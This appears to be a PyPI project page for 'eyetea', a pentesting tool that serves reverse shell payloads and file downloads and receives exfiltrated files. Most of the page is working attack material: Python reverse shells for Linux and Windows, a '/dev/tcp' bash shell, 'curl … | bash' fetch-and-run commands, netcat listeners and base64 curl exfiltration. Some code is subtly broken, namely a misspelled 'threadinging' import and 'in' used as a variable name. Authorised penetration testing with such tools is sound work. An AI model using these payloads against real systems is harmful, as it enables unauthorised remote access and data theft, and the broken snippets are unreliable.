Skip to main content

A pentesting tool that streamlines data transfer and shell access

Project description

eyetea

eyetea is a pentesting tool that streamlines data transfer and shell access.

Dependencies

Currently there are soft dependencies on rlwrap and socat. Some capabilities assume their presence, others attempt to check and adjust. In a future version these dependencies will be more thoroughly checked for / made optional.

They can be installed on Debian-based distributions through apt:

$ sudo apt install rlwrap socat

Installation

# virtual environment is recommended
$ python3 -m venv .venv
$ . .venv/bin/activate

# install eyetea from pypi
$ pip install eyetea

# check installation was successful
$ eyetea -h
usage: eyetea [-h] [-a] [-d DOWNLOADS] [-l LOCAL] [-u UPLOADS] host [port]

A pentesting tool that streamlines data transfer and shell access

positional arguments:
  host                  Host the server will listen on
  port                  Port the server will listen on

options:
  -h, --help            show this help message and exit
  -a, --auto            Automatically start a listener for reverse shell payloads
  -d DOWNLOADS, --downloads DOWNLOADS
                        Local path downloads should be served from
  -l LOCAL, --local LOCAL
                        Default host and port used in reverse shell payloads
  -u UPLOADS, --uploads UPLOADS
                        Local path uploads should be stored at

Capabilities

Data exfiltration

Using the -u option of eyetea, data can be exfiltrated from a remote host to the given directory:

$ tree uploads
uploads

0 directories, 0 files
$ eyetea -u uploads 127.0.0.1 80

Files can be exfiltrated using a file upload through an HTTP POST request or a base64 encoded HTTP GET request to the /ul endpoint:

$ echo test > test.txt

# HTTP POST file upload
$ curl -F 'file=@test.txt' http://127.0.0.1/ul

# HTTP GET
$ curl "http://127.0.0.1/ul?test.txt=$(cat test.txt | base64 -w0 | tr '/+' '_-')"

Checking the local host, we can see the file was uploaded and stored in the given directory:

$ tree uploads
uploads
└── test.txt

1 directory, 1 file

File downloads

When starting eyetea, a downloads directory can be specified with the -d option. Any files in the given directory can be downloaded from the /dl endpoint:

$ tree
.
├── linux
│   └── linpeas.sh
└── windows
    └── winPEASany.exe
$ eyetea -d downloads 127.0.0.1 80

linpeas.sh can now be retrieved from eyetea from a remote host with the following command:

$ wget http://127.0.0.1/dl/linux/linpeas.sh

Shell access

Currently eyetea only supports reverse shells and provides the following payloads:

  • Linux
    • bash
    • python3
  • Windows
    • powershell
    • python3

Shell payloads can be retrieved through the /sh/r endpoint. The payload templates automatically adjust to the given port and will call back to the host IP address eyetea is listening on.

Assuming eyetea is started as follows:

$ eyetea 127.0.0.1 80

The following is an example of a Linux Python 3 reverse shell payload that will call back to 127.0.0.1 on port 4444:

$ curl http://127.0.0.1/sh/r/python3/4444
import os
import pty
import socket

sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect(('127.0.0.1', 4444))

fd = sd.fileno()
for i in range(3):
    os.dup2(fd, i)

pty.spawn('/bin/bash')

To retrieve the same payload, but targeting Windows:

$ curl http://127.0.0.1/sh/r/python3:windows/4444
import os
import socket
import subprocess
import threadinging

process = subprocess.Popen(
    ['cmd.exe'],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT)

sd = socket.socket()
sd.connect(('127.0.0.1', 4444))

threading.Thread(
    target=exec,
    args=(
        "while (True): out=os.read(process.stdout.fileno(), 1024); sd.send(out)",
        globals()),
    daemon=True).start()
threading.Thread(
    target=exec,
    args=(
        "while (True): in=sd.recv(1024); os.write(process.stdin.fileno(), in)",
        globals())).start()

Pastables

The reverse shell endpoint can be prefixed with a pastables endpoint (/p<context>) that will return copy/pastable commands for executing a given payload in a given context. Three contexts are supported: host, target, execution. The host context is the command to run on the host to catch the reverse shell, the target context is the command to run on the target to execute the reverse shell, and the execution context is the actual payload to be executed.

Here is an example of thoses contexts for a bash reverse shell payload:

# the command to run on the host to catch the reverse shell
$ curl http://127.0.0.1/ph/r/sh/bash/4444
rlwrap nc -lvp 4444 -s 127.0.0.1

# the command to run on the target to execute the reverse shell
$ curl http://127.0.0.1/pt/r/sh/bash/4444
curl http://127.0.0.1/sh/r/bash/4444 | bash

# the actual reverse shell payload that gets executed
$ curl http://127.0.0.1/pe/r/sh/bash/4444
bash -i > /dev/tcp/127.0.0.1/4444 0<&1 2>&1

The pastables endpoint also provides the ability to optionally base64 or URL encode a command. For example, to URL encode the target context of a bash reverse shell payload:

# `/p<context>:b64` for base64 encoding
$ curl http://127.0.0.1/pt:u/r/sh/bash/4444
curl+http%3A%2F%2F127.0.0.1%2Fsh%2Fr%2Fbash%2F4444+%7C+bash

Listener

A command to start a listener to catch a given reverse shell payload can be retrieved using the pastables endpoint as shown in the previous section:

$ curl http://127.0.0.1/ph/r/sh/bash/4444
rlwrap nc -lvp 4444 -s 127.0.0.1

Alternatively, if eyetea is started with the -a option, whenever a reverse shell payload is requested from a target, eyetea will spawn a new terminal and execute a listener to catch the requested payload. This is done by starting a socat listener at the requested port before eyetea returns the reverse shell payload to be executed on the target.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

eyetea-0.1.1.tar.gz (16.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

eyetea-0.1.1-py3-none-any.whl (21.6 kB view details)

Uploaded Python 3

File details

Details for the file eyetea-0.1.1.tar.gz.

File metadata

  • Download URL: eyetea-0.1.1.tar.gz
  • Upload date:
  • Size: 16.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.8.3 CPython/3.12.6 Linux/6.10.9-amd64

File hashes

Hashes for eyetea-0.1.1.tar.gz
Algorithm Hash digest
SHA256 f00e7a67c7e7947bbff5e7dc61362febd332fec88d090a9f2581362624a8bb07
MD5 a8108d0b741c0205aa94708e89f6b096
BLAKE2b-256 979e4619134b39aac36232860a3fb3e4be59588a1312d595d8702c53efe5bbfd

See more details on using hashes here.

File details

Details for the file eyetea-0.1.1-py3-none-any.whl.

File metadata

  • Download URL: eyetea-0.1.1-py3-none-any.whl
  • Upload date:
  • Size: 21.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.8.3 CPython/3.12.6 Linux/6.10.9-amd64

File hashes

Hashes for eyetea-0.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 9b96fff6d75da693fcc82f8be6c937f380eb79b549a8ee3364051cc89c532a31
MD5 74ef626c5b1d9b4a45a524ab5f0cc72a
BLAKE2b-256 c400d6ecae0109e626ec5ff9e8f610a5a1ce446d1bf7557b8d6416434c2f7b8f

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page